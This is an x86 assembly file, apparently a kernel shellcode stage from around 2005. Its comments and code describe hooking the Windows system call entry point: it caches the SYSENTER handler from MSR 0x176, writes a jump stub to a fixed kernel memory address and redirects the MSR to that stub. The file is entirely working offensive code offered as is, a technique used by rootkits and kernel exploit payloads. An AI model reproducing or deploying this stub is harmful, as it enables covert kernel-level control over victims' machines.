bits 32

; 
; 11/2005
;
; This stub implements the following algorithm:
;
; - Get the current system call handler from the 0x176 msr
; - Cache it in a global location
; - Copy code to a known loclation
; - Set the 0x176 msr to the location of the code
;
; Good write-up:
;
; http://system-inside.com/driver/sysenter/sysenter.html
;

ShldrMsr:
	mov ecx, 0x176

CacheMsr:
	rdmsr
	mov dword [0xffdffd04], eax

CopyCode:
	mov dword [0xffdffd08], 0xfd0425ff
	mov word [0xffdffd0c],  0xffdf

SetMsr:
	mov eax, 0xffdffd08
	xor edx, edx
	wrmsr

Cleanup:
	ret
